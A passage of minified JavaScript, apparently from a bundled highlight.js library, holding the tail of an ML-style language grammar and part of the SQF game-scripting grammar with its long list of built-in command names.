nil"},illegal:/\/\/|>>/,contains:[{className:"literal",begin:/\[(\|\|)?\]|\(\)/,relevance:0},A.COMMENT("\\(\\*","\\*\\)",{contains:["self"]}),{className:"symbol",begin:"'[A-Za-z_](?!')[\\w']*"},{className:"type",begin:"`[A-Z][\\w']*"},{className:"type",begin:"\\b[A-Z][\\w']*",relevance:0},{begin:"[a-z_]\\w*'[\\w']*"},A.inherit(A.APOS_STRING_MODE,{className:"string",relevance:0}),A.inherit(A.QUOTE_STRING_MODE,{illegal:null}),{className:"number",begin:"\\b(0[xX][a-fA-F0-9_]+[Lln]?|0[oO][0-7_]+[Lln]?|0[bB][01_]+[Lln]?|[0-9][0-9_]*([Lln]|(\\.[0-9_]*)?([eE][-+]?[0-9_]+)?)?)",relevance:0},{begin:/[-=]>/}]}}H$8.exports=zNq});var X$8=v((FLz,O$8)=>{function wNq(A){let K={className:"variable",begin:/\b_+[a-zA-Z]\w*/},q={className:"title",begin:/[a-zA-Z][a-zA-Z0-9]+_fnc_\w*/},Y={className:"string",variants:[{begin:'"',end:'"',contains:[{begin:'""',relevance:0}]},{begin:"'",end:"'",contains:[{begin:"''",relevance:0}]}]},z={className:"meta",begin:/#\s*[a-z]+\b/,end:/$/,keywords:{"meta-keyword":"define undef ifdef ifndef else endif include"},contains:[{begin:/\\\n/,relevance:0},A.inherit(Y,{className:"meta-string"}),{className:"meta-string",begin:/<[^\n>]*>/,end:/$/,illegal:"\\n"},A.C_LINE_COMMENT_MODE,A.C_BLOCK_COMMENT_MODE]};return{name:"SQF",case_insensitive:!0,keywords:{keyword:"case catch default do else exit exitWith for forEach from if private switch then throw to try waitUntil while with",built_in:"abs accTime acos action actionIDs actionKeys actionKeysImages actionKeysNames actionKeysNamesArray actionName actionParams activateAddons activatedAddons activateKey add3DENConnection add3DENEventHandler add3DENLayer addAction addBackpack addBackpackCargo addBackpackCargoGlobal addBackpackGlobal addCamShake addCuratorAddons addCuratorCameraArea addCuratorEditableObjects addCuratorEditingArea addCuratorPoints addEditorObject addEventHandler addForce addGoggles addGroupIcon addHandgunItem addHeadgear addItem addItemCargo addItemCargoGlobal addItemPool addItemToBackpack addItemToUniform addItemToVest addLiveStats addMagazine addMagazineAmmoCargo addMagazineCargo addMagazineCargoGlobal addMagazineGlobal addMagazinePool addMagazines addMagazineTurret addMenu addMenuItem addMissionEventHandler addMPEventHandler addMusicEventHandler addOwnedMine addPlayerScores addPrimaryWeaponItem addPublicVariableEventHandler addRating addResources addScore addScoreSide addSecondaryWeaponItem addSwitchableUnit addTeamMember addToRemainsCollector addTorque addUniform addVehicle addVest addWaypoint addWeapon addWeaponCargo addWeaponCargoGlobal addWeaponGlobal addWeaponItem addWeaponPool addWeaponTurret admin agent agents AGLToASL aimedAtTarget aimPos airDensityRTD airplaneThrottle airportSide AISFinishHeal alive all3DENEntities allAirports allControls allCurators allCutLayers allDead allDeadMen allDisplays allGroups allMapMarkers allMines allMissionObjects allow3DMode allowCrewInImmobile allowCuratorLogicIgnoreAreas allowDamage allowDammage allowFileOperations allowFleeing allowGetIn allowSprint allPlayers allSimpleObjects allSites allTurrets allUnits allUnitsUAV allVariables ammo ammoOnPylon and animate animateBay animateDoor animatePylon animateSource animationNames animationPhase animationSourcePhase animationState append apply armoryPoints arrayIntersect asin ASLToAGL ASLToATL assert assignAsCargo assignAsCargoIndex assignAsCommander assignAsDriver assignAsGunner assignAsTurret assignCurator assignedCargo assignedCommander assignedDriver assignedGunner assignedItems assignedTarget assignedTeam assignedVehicle assignedVehicleRole assignItem assignTeam assignToAirport atan atan2 atg ATLToASL attachedObject attachedObjects attachedTo attachObject attachTo attackEnabled backpack backpackCargo backpackContainer backpackItems backpackMagazines backpackSpaceFor behaviour benchmark binocular boundingBox boundingBoxReal boundingCenter breakOut breakTo briefingName buildingExit buildingPos buttonAction buttonSetAction cadetMode call callExtension camCommand camCommit camCommitPrepared camCommitted camConstuctionSetParams camCreate camDestroy cameraEffect cameraEffectEnableHUD cameraInterest cameraOn cameraView campaignConfigFile camPreload camPreloaded camPrepareBank camPrepareDir camPrepareDive camPrepareFocus camPrepareFov camPrepareFovRange camPreparePos camPrepareRelPos camPrepareTarget camSetBank camSetDir camSetDive camSetFocus camSetFov camSetFovRange camSetPos camSetRelPos camSetTarget camTarget camUseNVG canAdd canAddItemToBackpack canAddItemToUniform canAddItemToVest cancelSimpleTaskDestination canFire canMove canSlingLoad canStand canSuspend canTriggerDynamicSimulation canUnloadInCombat canVehicleCargo captive captiveNum cbChecked cbSetChecked ceil channelEnabled cheatsEnabled checkAIFeature checkVisibility className clearAllItemsFromBackpack clearBackpackCargo clearBackpackCargoGlobal clearGroupIcons clearItemCargo clearItemCargoGlobal clearItemPool clearMagazineCargo clearMagazineCargoGlobal clearMagazinePool clearOverlay clearRadio clearWeaponCargo clearWeaponCargoGlobal clearWeaponPool clientOwner closeDialog closeDisplay closeOverlay collapseObjectTree collect3DENHistory collectiveRTD combatMode commandArtilleryFire commandChat commander commandFire commandFollow commandFSM commandGetOut commandingMenu commandMove commandRadio commandStop commandSuppressiveFire commandTarget commandWatch comment commitOverlay compile compileFinal completedFSM composeText configClasses configFile configHierarchy configName configProperties configSourceAddonList configSourceMod configSourceModList confirmSensorTarget connectTerminalToUAV controlsGroupCtrl copyFromClipboard copyToClipboard copyWaypoints cos count countEnemy countFriendly countSide countType countUnknown create3DENComposition create3DENEntity createAgent createCenter createDialog createDiaryLink createDiaryRecord createDiarySubject createDisplay createGearDialog createGroup createGuardedPoint createLocation createMarker createMarkerLocal createMenu createMine createMissionDisplay createMPCampaignDisplay createSimpleObject createSimpleTask createSite createSoundSource createTask createTeam createTrigger createUnit createVehicle createVehicleCrew createVehicleLocal crew ctAddHeader ctAddRow ctClear ctCurSel ctData ctFindHeaderRows ctFindRowHeader ctHeaderControls ctHeaderCount ctRemoveHeaders ctRemoveRows ctrlActivate ctrlAddEventHandler ctrlAngle ctrlAutoScrollDelay ctrlAutoScrollRewind ctrlAutoScrollSpeed ctrlChecked ctrlClassName ctrlCommit ctrlCommitted ctrlCreate ctrlDelete ctrlEnable ctrlEnabled ctrlFade ctrlHTMLLoaded ctrlIDC ctrlIDD ctrlMapAnimAdd ctrlMapAnimClear ctrlMapAnimCommit ctrlMapAnimDone ctrlMapCursor ctrlMapMouseOver ctrlMapScale ctrlMapScreenToWorld ctrlMapWorldToScreen ctrlModel ctrlModelDirAndUp ctrlModelScale ctrlParent ctrlParentControlsGroup ctrlPosition ctrlRemoveAllEventHandlers ctrlRemoveEventHandler ctrlScale ctrlSetActiveColor ctrlSetAngle ctrlSetAutoScrollDelay ctrlSetAutoScrollRewind ctrlSetAutoScrollSpeed ctrlSetBackgroundColor ctrlSetChecked ctrlSetEventHandler ctrlSetFade ctrlSetFocus ctrlSetFont ctrlSetFontH1 ctrlSetFontH1B ctrlSetFontH2 ctrlSetFontH2B ctrlSetFontH3 ctrlSetFontH3B ctrlSetFontH4 ctrlSetFontH4B ctrlSetFontH5 ctrlSetFontH5B ctrlSetFontH6 ctrlSetFontH6B ctrlSetFontHeight ctrlSetFontHeightH1 ctrlSetFontHeightH2 ctrlSetFontHeightH3 ctrlSetFontHeightH4 ctrlSetFontHeightH5 ctrlSetFontHeightH6 ctrlSetFontHeightSecondary ctrlSetFontP ctrlSetFontPB ctrlSetFontSecondary ctrlSetForegroundColor ctrlSetModel ctrlSetModelDirAndUp ctrlSetModelScale ctrlSetPixelPrecision ctrlSetPosition ctrlSetScale ctrlSetStructuredText ctrlSetText ctrlSetTextColor ctrlSetTooltip ctrlSetTooltipColorBox ctrlSetTooltipColorShade ctrlSetTooltipColorText ctrlShow ctrlShown ctrlText ctrlTextHeight ctrlTextWidth ctrlType ctrlVisible ctRowControls ctRowCount ctSetCurSel ctSetData ctSetHeaderTemplate ctSetRowTemplate ctSetValue ctValue curatorAddons curatorCamera curatorCameraArea curatorCameraAreaCeiling curatorCoef curatorEditableObjects curatorEditingArea curatorEditingAreaType curatorMouseOver curatorPoints curatorRegisteredObjects curatorSelected curatorWaypointCost current3DENOperation currentChannel currentCommand currentMagazine currentMagazineDetail currentMagazineDetailTurret currentMagazineTurret currentMuzzle currentNamespace currentTask currentTasks currentThrowable currentVisionMode currentWaypoint currentWeapon currentWeaponMode currentWeaponTurret currentZeroing cursorObject cursorTarget customChat customRadio cutFadeOut cutObj cutRsc cutText damage date dateToNumber daytime deActivateKey debriefingText debugFSM debugLog deg delete3DENEntities deleteAt deleteCenter deleteCollection deleteEditorObject deleteGroup deleteGroupWhenEmpty deleteIdentity deleteLocation deleteMarker deleteMarkerLocal deleteRange deleteResources deleteSite deleteStatus deleteTeam deleteVehicle deleteVehicleCrew deleteWaypoint detach detectedMines diag_activeMissionFSMs diag_activeScripts diag_activeSQFScripts diag_activeSQSScripts diag_captureFrame diag_captureFrameToFile diag_captureSlowFrame diag_codePerformance diag_drawMode diag_enable diag_enabled diag_fps diag_fpsMin diag_frameNo diag_lightNewLoad diag_list diag_log diag_logSlowFrame diag_mergeConfigFile diag_recordTurretLimits diag_setLightNew diag_tickTime diag_toggle dialog diarySubjectExists didJIP didJIPOwner difficulty difficultyEnabled difficultyEnabledRTD difficultyOption direction directSay disableAI disableCollisionWith disableConversation disableDebriefingStats disableMapIndicators disableNVGEquipment disableRemoteSensors disableSerialization disableTIEquipment disableUAVConnectability disableUserInput displayAddEventHandler displayCtrl displayParent displayRemoveAllEventHandlers displayRemoveEventHandler displaySetEventHandler dissolveTeam distance distance2D distanceSqr distributionRegion do3DENAction doArtilleryFire doFire doFollow doFSM doGetOut doMove doorPhase doStop doSuppressiveFire doTarget doWatch drawArrow drawEllipse drawIcon drawIcon3D drawLine drawLine3D drawLink drawLocation drawPolygon drawRectangle drawTriangle driver drop dynamicSimulationDistance dynamicSimulationDistanceCoef dynamicSimulationEnabled dynamicSimulationSystemEnabled echo edit3DENMissionAttributes editObject editorSetEventHandler effectiveCommander emptyPositions enableAI enableAIFeature enableAimPrecision enableAttack enableAudioFeature enableAutoStartUpRTD enableAutoTrimRTD enableCamShake enableCaustics enableChannel enableCollisionWith enableCopilot enableDebriefingStats enableDiagLegend enableDynamicSimulation enableDynamicSimulationSystem enableEndDialog enableEngineArtillery enableEnvironment enableFatigue enableGunLights enableInfoPanelComponent enableIRLasers enableMimics enablePersonTurret enableRadio enableReload enableRopeAttach enableSatNormalOnDetail enableSaving enableSentences enableSimulation enableSimulationGlobal enableStamina enableTeamSwitch enableTraffic enableUAVConnectability enableUAVWaypoints enableVehicleCargo enableVehicleSensor enableWeaponDisassembly endLoadingScreen endMission engineOn enginesIsOnRTD enginesRpmRTD enginesTorqueRTD entities environmentEnabled estimatedEndServerTime estimatedTimeLeft evalObjectArgument everyBackpack everyContainer exec execEditorScript execFSM execVM exp expectedDestination exportJIPMessages eyeDirection eyePos face faction fadeMusic fadeRadio fadeSound fadeSpeech failMission fillWeaponsFromPool find findCover findDisplay findEditorObject findEmptyPosition findEmptyPositionReady findIf findNearestEnemy finishMissionInit finite fire fireAtTarget firstBackpack flag flagAnimationPhase flagOwner flagSide flagTexture fleeing floor flyInHeight flyInHeightASL fog fogForecast fogParams forceAddUniform forcedMap forceEnd forceFlagTexture forceFollowRoad forceMap forceRespawn forceSpeed forceWalk forceWeaponFire forceWeatherChange forEachMember forEachMemberAgent forEachMemberTeam forgetTarget format formation formationDirection formationLeader formationMembers formationPosition formationTask formatText formLeader freeLook fromEditor fuel fullCrew gearIDCAmmoCount gearSlotAmmoCount gearSlotData get3DENActionState get3DENAttribute get3DENCamera get3DENConnections get3DENEntity get3DENEntityID get3DENGrid get3DENIconsVisible get3DENLayerEntities get3DENLinesVisible get3DENMissionAttribute get3DENMouseOver get3DENSelected getAimingCoef getAllEnvSoundControllers getAllHitPointsDamage getAllOwnedMines getAllSoundControllers getAmmoCargo getAnimAimPrecision getAnimSpeedCoef getArray getArtilleryAmmo getArtilleryComputerSettings getArtilleryETA getAssignedCuratorLogic getAssignedCuratorUnit getBackpackCargo getBleedingRemaining getBurningValue getCameraViewDirection getCargoIndex getCenterOfMass getClientState getClientStateNumber getCompatiblePylonMagazines getConnectedUAV getContainerMaxLoad getCursorObjectParams getCustomAimCoef getDammage getDescription getDir getDirVisual getDLCAssetsUsage getDLCAssetsUsageByName getDLCs getEditorCamera getEditorMode getEditorObjectScope getElevationOffset getEnvSoundController getFatigue getForcedFlagTexture getFriend getFSMVariable getFuelCargo getGroupIcon getGroupIconParams getGroupIcons getHideFrom getHit getHitIndex getHitPointDamage getItemCargo getMagazineCargo getMarkerColor getMarkerPos getMarkerSize getMarkerType getMass getMissionConfig getMissionConfigValue getMissionDLCs getMissionLayerEntities getModelInfo getMousePosition getMusicPlayedTime getNumber getObjectArgument getObjectChildren getObjectDLC getObjectMaterials getObjectProxy getObjectTextures getObjectType getObjectViewDistance getOxygenRemaining getPersonUsedDLCs getPilotCameraDirection getPilotCameraPosition getPilotCameraRotation getPilotCameraTarget getPlateNumber getPlayerChannel getPlayerScores getPlayerUID getPos getPosASL getPosASLVisual getPosASLW getPosATL getPosATLVisual getPosVisual getPosWorld getPylonMagazines getRelDir getRelPos getRemoteSensorsDisabled getRepairCargo getResolution getShadowDistance getShotParents getSlingLoad getSoundController getSoundControllerResult getSpeed getStamina getStatValue getSuppression getTerrainGrid getTerrainHeightASL getText getTotalDLCUsageTime getUnitLoadout getUnitTrait getUserMFDText getUserMFDvalue getVariable getVehicleCargo getWeaponCargo getWeaponSway getWingsOrientationRTD getWingsPositionRTD getWPPos glanceAt globalChat globalRadio goggles goto group groupChat groupFromNetId groupIconSelectable groupIconsVisible groupId groupOwner groupRadio groupSelectedUnits groupSelectUnit gunner gusts halt handgunItems handgunMagazine handgunWeapon handsHit hasInterface hasPilotCamera hasWeapon hcAllGroups hcGroupParams hcLeader hcRemoveAllGroups hcRemoveGroup hcSelected hcSelectGroup hcSetGroup hcShowBar hcShownBar headgear hideBody hideObject hideObjectGlobal hideSelection hint hintC hintCadet hintSilent hmd hostMission htmlLoad HUDMovementLevels humidity image importAllGroups importance in inArea inAreaArray incapacitatedState inflame inflamed infoPanel infoPanelComponentEnabled infoPanelComponents infoPanels inGameUISetEventHandler inheritsFrom initAmbientLife inPolygon inputAction inRangeOfArtillery insertEditorObject intersect is3DEN is3DENMultiplayer isAbleToBreathe isAgent isArray isAutoHoverOn isAutonomous isAutotest isBleeding isBurning isClass isCollisionLightOn isCopilotEnabled isDamageAllowed isDedicated isDLCAvailable isEngineOn isEqualTo isEqualType isEqualTypeAll isEqualTypeAny isEqualTypeArray isEqualTypeParams isFilePatchingEnabled isFlashlightOn isFlatEmpty isForcedWalk isFormationLeader isGroupDeletedWhenEmpty isHidden isInRemainsCollector isInstructorFigureEnabled isIRLaserOn isKeyActive isKindOf isLaserOn isLightOn isLocalized isManualFire isMarkedForCollection isMultiplayer isMultiplayerSolo isNil isNull isNumber isObjectHidden isObjectRTD isOnRoad isPipEnabled isPlayer isRealTime isRemoteExecuted isRemoteExecutedJIP isServer isShowing3DIcons isSimpleObject isSprintAllowed isStaminaEnabled isSteamMission isStreamFriendlyUIEnabled isText isTouchingGround isTurnedOut isTutHintsEnabled isUAVConnectable isUAVConnected isUIContext isUniformAllowed isVehicleCargo isVehicleRadarOn isVehicleSensorEnabled isWalking isWeaponDeployed isWeaponRested itemCargo items itemsWithMagazines join joinAs joinAsSilent joinSilent joinString kbAddDatabase kbAddDatabaseTargets kbAddTopic kbHasTopic kbReact kbRemoveTopic kbTell kbWasSaid keyImage keyName knowsAbout land landAt landResult language laserTarget lbAdd lbClear lbColor lbColorRight lbCurSel lbData lbDelete lbIsSelected lbPicture lbPictureRight lbSelection lbSetColor lbSetColorRight lbSetCurSel lbSetData lbSetPicture lbSetPictureColor lbSetPictureColorDisabled lbSetPictureColorSelected lbSetPictureRight lbSetPictureRightColor lbSetPictureRightColorDisabled lbSetPictureRightColorSelected lbSetSelectColor lbSetSelectColorRight lbSetSelected lbSetText lbSetTextRight lbSetTooltip lbSetValue lbSize lbSort lbSortByValue lbText lbTextRight lbValue leader leaderboardDeInit leaderboardGetRows leaderboardInit leaderboardRequestRowsFriends leaderboardsRequestUploadScore leaderboardsRequestUploadScoreKeepBest leaderboardState leaveVehicle libraryCredits libraryDisclaimers lifeState lightAttachObject lightDetachObject lightIsOn lightnings limitSpeed linearConversion lineIntersects lineIntersectsObjs lineIntersectsSurfaces lineIntersectsWith linkItem list listObjects listRemoteTargets listVehicleSensors ln lnbAddArray lnbAddColumn lnbAddRow lnbClear lnbColor lnbCurSelRow lnbData lnbDeleteColumn lnbDeleteRow lnbGetColumnsPosition lnbPicture lnbSetColor lnbSetColumnsPos lnbSetCurSelRow lnbSetData lnbSetPicture lnbSetText lnbSetValue lnbSize lnbSort lnbSortByValue lnbText lnbValue load loadAbs loadBackpack loadFile loadGame loadIdentity loadMagazine loadOverlay loadStatus loadUniform loadVest local localize locationPosition lock lockCameraTo lockCargo lockDriver locked lockedCargo lockedDriver lockedTurret lockIdentity lockTurret lockWP log logEntities logNetwork logNetworkTerminate lookAt lookAtPos magazineCargo magazines magazinesAllTurrets magazinesAmmo magazinesAmmoCargo magazinesAmmoFull magazinesDetail magazinesDetailBackpack magazinesDetailUniform magazinesDetailVest magazinesTurret magazineTurretAmmo mapAnimAdd mapAnimClear mapAnimCommit mapAnimDone mapCenterOnCamera mapGridPosition markAsFinishedOnSteam markerAlpha markerBrush markerColor markerDir markerPos markerShape markerSize markerText markerType max members menuAction menuAdd menuChecked menuClear menuCollapse menuData menuDelete menuEnable menuEnabled menuExpand menuHover menuPicture menuSetAction menuSetCheck menuSetData menuSetPicture menuSetValue menuShortcut menuShortcutText menuSize menuSort menuText menuURL menuValue min mineActive mineDetectedBy missionConfigFile missionDifficulty missionName missionNamespace missionStart missionVersion mod modelToWorld modelToWorldVisual modelToWorldVisualWorld modelToWorldWorld modParams moonIntensity moonPhase morale move move3DENCamera moveInAny moveInCargo moveInCommander moveInDriver moveInGunner moveInTurret moveObjectToEnd moveOut moveTime moveTo moveToCompleted moveToFailed musicVolume name nameSound nearEntities nearestBuilding nearestLocation nearestLocations nearestLocationWithDubbing nearestObject nearestObjects nearestTerrainObjects nearObjects nearObjectsReady nearRoads nearSupplies nearTargets needReload netId netObjNull newOverlay nextMenuItemIndex nextWeatherChange nMenuItems not numberOfEnginesRTD numberToDate objectCurators objectFromNetId objectParent objStatus onBriefingGroup onBriefingNotes onBriefingPlan onBriefingTeamSwitch onCommandModeChanged onDoubleClick onEachFrame onGroupIconClick onGroupIconOverEnter onGroupIconOverLeave onHCGroupSelectionChanged onMapSingleClick onPlayerConnected onPlayerDisconnected onPreloadFinished onPreloadStarted onShowNewObject onTeamSwitch openCuratorInterface openDLCPage openMap openSteamApp openYoutubeVideo or orderGetIn overcast overcastForecast owner param params parseNumber parseSimpleArray parseText parsingNamespace particlesQuality pickWeaponPool pitch pixelGrid pixelGridBase pixelGridNoUIScale pixelH pixelW playableSlotsNumber playableUnits playAction playActionNow player playerRespawnTime playerSide playersNumber playGesture playMission playMove playMoveNow playMusic playScriptedMission playSound playSound3D position positionCameraToWorld posScreenToWorld posWorldToScreen ppEffectAdjust ppEffectCommit ppEffectCommitted ppEffectCreate ppEffectDestroy ppEffectEnable ppEffectEnabled ppEffectForceInNVG precision preloadCamera preloadObject preloadSound preloadTitleObj preloadTitleRsc preprocessFile preprocessFileLineNumbers primaryWeapon primaryWeaponItems primaryWeaponMagazine priority processDiaryLink productVersion profileName profileNamespace profileNameSteam progressLoadingScreen progressPosition progressSetPosition publicVariable publicVariableClient publicVariableServer pushBack pushBackUnique putWeaponPool queryItemsPool queryMagazinePool queryWeaponPool rad radioChannelAdd radioChannelCreate radioChannelRemove radioChannelSetCallSign radioChannelSetLabel radioVolume rain rainbow random rank rankId rating rectangular registeredTasks registerTask reload reloadEnabled remoteControl remoteExec remoteExecCall remoteExecutedOwner remove3DENConnection remove3DENEventHandler remove3DENLayer removeAction removeAll3DENEventHandlers removeAllActions removeAllAssignedItems removeAllContainers removeAllCuratorAddons removeAllCuratorCameraAreas removeAllCuratorEditingAreas removeAllEventHandlers removeAllHandgunItems removeAllItems removeAllItemsWithMagazines removeAllMissionEventHandlers removeAllMPEventHandlers removeAllMusicEventHandlers removeAllOwnedMines removeAllPrimaryWeaponItems removeAllWeapons removeBackpack removeBackpackGlobal removeCuratorAddons removeCuratorCameraArea removeCuratorEditableObjects removeCuratorEditingArea removeDrawIcon removeDrawLinks removeEventHandler removeFromRemainsCollector removeGoggles removeGroupIcon removeHandgunItem removeHeadgear removeItem removeItemFromBackpack removeItemFromUniform removeItemFromVest removeItems removeMagazine removeMagazineGlobal removeMagazines removeMagazinesTurret removeMagazineTurret removeMenuItem removeMissionEventHandler removeMPEventHandler removeMusicEventHandler removeOwnedMine removePrimaryWeaponItem removeSecondaryWeaponItem removeSimpleTask removeSwitchableUnit removeTeamMember removeUniform removeVest removeWeapon removeWeaponAttachmentCargo removeWeaponCargo removeWeaponGlobal removeWeaponTurret reportRemoteTarget requiredVersion resetCamShake resetSubgroupDirection resize resources respawnVehicle restartEditorCamera reveal revealMine reverse reversedMouseY roadAt roadsConnectedTo roleDescription ropeAttachedObjects ropeAttachedTo ropeAttachEnabled ropeAttachTo ropeCreate ropeCut ropeDestroy ropeDetach ropeEndPosition ropeLength ropes ropeUnwind ropeUnwound rotorsForcesRTD rotorsRpmRTD round runInitScript safeZoneH safeZoneW safeZoneWAbs safeZoneX safeZoneXAbs safeZoneY save3DENInventory saveGame saveIdentity saveJoysticks saveOverlay saveProfileNamespace saveStatus saveVar savingEnabled say say2D say3D scopeName score scoreSide screenshot screenToWorld scriptDone scriptName scudState secondaryWeapon secondaryWeaponItems secondaryWeaponMagazine select selectBestPlaces selectDiarySubject selectedEditorObjects selectEditorObject selectionNames selectionPosition selectLeader selectMax selectMin selectNoPlayer selectPlayer selectRandom selectRandomWeighted selectWeapon selectWeaponTurret sendAUMessage sendSimpleCommand sendTask sendTaskResult sendUDPMessage serverCommand serverCommandAvailable serverCommandExecutable serverName serverTime set set3DENAttribute set3DENAttributes set3DENGrid set3DENIconsVisible set3DENLayer set3DENLinesVisible set3DENLogicType set3DENMissionAttribute set3DENMissionAttributes set3DENModelsVisible set3DENObjectType set3DENSelected setAccTime setActualCollectiveRTD setAirplaneThrottle setAirportSide setAmmo setAmmoCargo setAmmoOnPylon setAnimSpeedCoef setAperture setApertureNew setArmoryPoints setAttributes setAutonomous setBehaviour setBleedingRemaining setBrakesRTD setCameraInterest setCamShakeDefParams setCamShakeParams setCamUseTI setCaptive setCenterOfMass setCollisionLight setCombatMode setCompassOscillation setConvoySeparation setCuratorCameraAreaCeiling setCuratorCoef setCuratorEditingAreaType setCuratorWaypointCost setCurrentChannel setCurrentTask setCurrentWaypoint setCustomAimCoef setCustomWeightRTD setDamage setDammage setDate setDebriefingText setDefaultCamera setDestination setDetailMapBlendPars setDir setDirection setDrawIcon setDriveOnPath setDropInterval setDynamicSimulationDistance setDynamicSimulationDistanceCoef setEditorMode setEditorObjectScope setEffectCondition setEngineRPMRTD setFace setFaceAnimation setFatigue setFeatureType setFlagAnimationPhase setFlagOwner setFlagSide setFlagTexture setFog setFormation setFormationTask setFormDir setFriend setFromEditor setFSMVariable setFuel setFuelCargo setGroupIcon setGroupIconParams setGroupIconsSelectable setGroupIconsVisible setGroupId setGroupIdGlobal setGroupOwner setGusts setHideBehind setHit setHitIndex setHitPointDamage setHorizonParallaxCoef setHUDMovementLevels setIdentity setImportance setInfoPanel setLeader setLightAmbient setLightAttenuation setLightBrightness setLightColor setLightDayLight setLightFlareMaxDistance setLightFlareSize setLightIntensity setLightnings setLightUseFlare setLocalWindParams setMagazineTurretAmmo setMarkerAlpha setMarkerAlphaLocal setMarkerBrush setMarkerBrushLocal setMarkerColor setMarkerColorLocal setMarkerDir setMarkerDirLocal setMarkerPos setMarkerPosLocal setMarkerShape setMarkerShapeLocal setMarkerSize setMarkerSizeLocal setMarkerText setMarkerTextLocal setMarkerType setMarkerTypeLocal setMass setMimic setMousePosition setMusicEffect setMusicEventHandler setName setNameSound setObjectArguments setObjectMaterial setObjectMaterialGlobal setObjectProxy setObjectTexture setObjectTextureGlobal setObjectViewDistance setOvercast setOwner setOxygenRemaining setParticleCircle setParticleClass setParticleFire setParticleParams setParticleRandom setPilotCameraDirection setPilotCameraRotation setPilotCameraTarget setPilotLight setPiPEffect setPitch setPlateNumber setPlayable setPlayerRespawnTime setPos setPosASL setPosASL2 setPosASLW setPosATL setPosition setPosWorld setPylonLoadOut setPylonsPriority setRadioMsg setRain setRainbow setRandomLip setRank setRectangular setRepairCargo setRotorBrakeRTD setShadowDistance setShotParents setSide setSimpleTaskAlwaysVisible setSimpleTaskCustomData setSimpleTaskDescription setSimpleTaskDestination setSimpleTaskTarget setSimpleTaskType setSimulWeatherLayers setSize setSkill setSlingLoad setSoundEffect setSpeaker setSpeech setSpeedMode setStamina setStaminaScheme setStatValue setSuppression setSystemOfUnits setTargetAge setTaskMarkerOffset setTaskResult setTaskState setTerrainGrid setText setTimeMultiplier setTitleEffect setTrafficDensity setTrafficDistance setTrafficGap setTrafficSpeed setTriggerActivation setTriggerArea setTriggerStatements setTriggerText setTriggerTimeout setTriggerType setType setUnconscious setUnitAbility setUnitLoadout setUnitPos setUnitPosWeak setUnitRank setUnitRecoilCoefficient setUnitTrait setUnloadInCombat setUserActionText setUserMFDText setUserMFDvalue setVariable setVectorDir setVectorDirAndUp setVectorUp setVehicleAmmo setVehicleAmmoDef setVehicleArmor setVehicleCargo setVehicleId setVehicleLock setVehiclePosition setVehicleRadar setVehicleReceiveRemoteTargets setVehicleReportOwnPosition setVehicleReportRemoteTargets setVehicleTIPars setVehicleVarName setVelocity setVelocityModelSpace setVelocityTransformation setViewDistance setVisibleIfTreeCollapsed setWantedRPMRTD setWaves setWaypointBehaviour setWaypointCombatMode setWaypointCompletionRadius setWaypointDescription setWaypointForceBehaviour setWaypointFormation setWaypointHousePosition setWaypointLoiterRadius setWaypointLoiterType setWaypointName setWaypointPosition setWaypointScript setWaypointSpeed setWaypointStatements setWaypointTimeout setWaypointType setWaypointVisible setWeaponReloadingTime setWind setWindDir setWindForce setWindStr setWingForceScaleRTD setWPPos show3DIcons showChat showCinemaBorder showCommandingMenu showCompass showCuratorCompass showGPS showHUD showLegend showMap shownArtilleryComputer shownChat shownCompass shownCuratorCompass showNewEditorObject shownGPS shownHUD shownMap shownPad shownRadio shownScoretable shownUAVFeed shownWarrant shownWatch showPad showRadio showScoretable showSubtitles showUAVFeed showWarrant showWatch showWaypoint showWaypoints side sideChat sideEnemy sideFriendly sideRadio simpleTasks simulationEnabled simulCloudDensity simulCloudOcclusion simulInClouds simulWeatherSync sin size sizeOf skill skillFinal skipTime sleep sliderPosition sliderRange sliderSetPosition sliderSetRange sliderSetSpeed sliderSpeed slingLoadAssistantShown soldierMagazines someAmmo sort soundVolume spawn speaker speed speedMode splitString sqrt squadParams stance startLoadingScreen step stop stopEngineRTD stopped str sunOrMoon supportInfo suppressFor surfaceIsWater surfaceNormal surfaceType swimInDepth switchableUnits switchAction switchCamera switchGesture switchLight switchMove synchronizedObjects synchronizedTriggers synchronizedWaypoints synchronizeObjectsAdd synchronizeObjectsRemove synchronizeTrigger synchronizeWaypoint systemChat systemOfUnits tan targetKnowledge targets targetsAggregate targetsQuery taskAlwaysVisible taskChildren taskCompleted taskCustomData taskDescription taskDestination taskHint taskMarkerOffset taskParent taskResult taskState taskType teamMember teamName teams teamSwitch teamSwitchEnabled teamType terminate terrainIntersect terrainIntersectASL terrainIntersectAtASL text textLog textLogFormat tg time timeMultiplier titleCut titleFadeOut titleObj titleRsc titleText toArray toFixed toLower toString toUpper triggerActivated triggerActivation triggerArea triggerAttachedVehicle triggerAttachObject triggerAttachVehicle triggerDynamicSimulation triggerStatements triggerText triggerTimeout triggerTimeoutCurrent triggerType turretLocal turretOwner turretUnit tvAdd tvClear tvCollapse tvCollapseAll tvCount tvCurSel tvData tvDelete tvExpand tvExpandAll tvPicture tvSetColor tvSetCurSel tvSetData tvSetPicture tvSetPictureColor tvSetPictureColorDisabled tvSetPictureColorSelected tvSetPictureRight tvSetPictureRightColor tvSetPictureRightColorDisabled tvSetPictureRightColorSelected tvSetText tvSetTooltip tvSetValue tvSort tvSortByValue tvText tvTooltip tvValue type typeName typeOf UAVControl uiNamespace uiSleep unassignCurator unassignItem unassignTeam unassignVehicle underwater uniform uniformContainer uniformItems uniformMagazines unitAddons unitAimPosition unitAimPositionVisual unitBackpack unitIsUAV unitPos unitReady unitRecoilCoefficient units unitsBelowHeight unlinkItem unlockAchievement unregisterTask updateDrawIcon updateMenuItem updateObjectTree useAISteeringComponent useAudioTimeForMoves userInputDisabled vectorAdd vectorCos vectorCrossProduct vectorDiff vectorDir vectorDirVisual vectorDistance vectorDistanceSqr vectorDotProduct vectorFromTo vectorMagnitude vectorMagnitudeSqr vectorModelToWorld vectorModelToWorldVisual vectorMultiply vectorNormalized vectorUp vectorUpVisual vectorWorldToModel vectorWorldToModelVisual vehicle vehicleCargoEnabled vehicleChat vehicleRadio vehicleReceiveRemoteTargets vehicleReportOwnPosition vehicleReportRemoteTargets vehicles vehicleVarName velocity velocityModelSpace verifySignature vest vestContainer vestItems vestMagazines viewDistance visibleCompass visibleGPS visibleMap visiblePosition visiblePositionASL visibleScoretable visibleWatch waves waypointAttachedObject waypointAttachedVehicle waypointAttachObject waypointAttachVehicle waypointBehaviour waypointCombatMode waypointCompletionRadius waypointDescription waypointForceBehaviour waypointFormation waypointHousePosition waypointLoiterRadius waypointLoiterType waypointName waypointPosition waypoints waypointScript 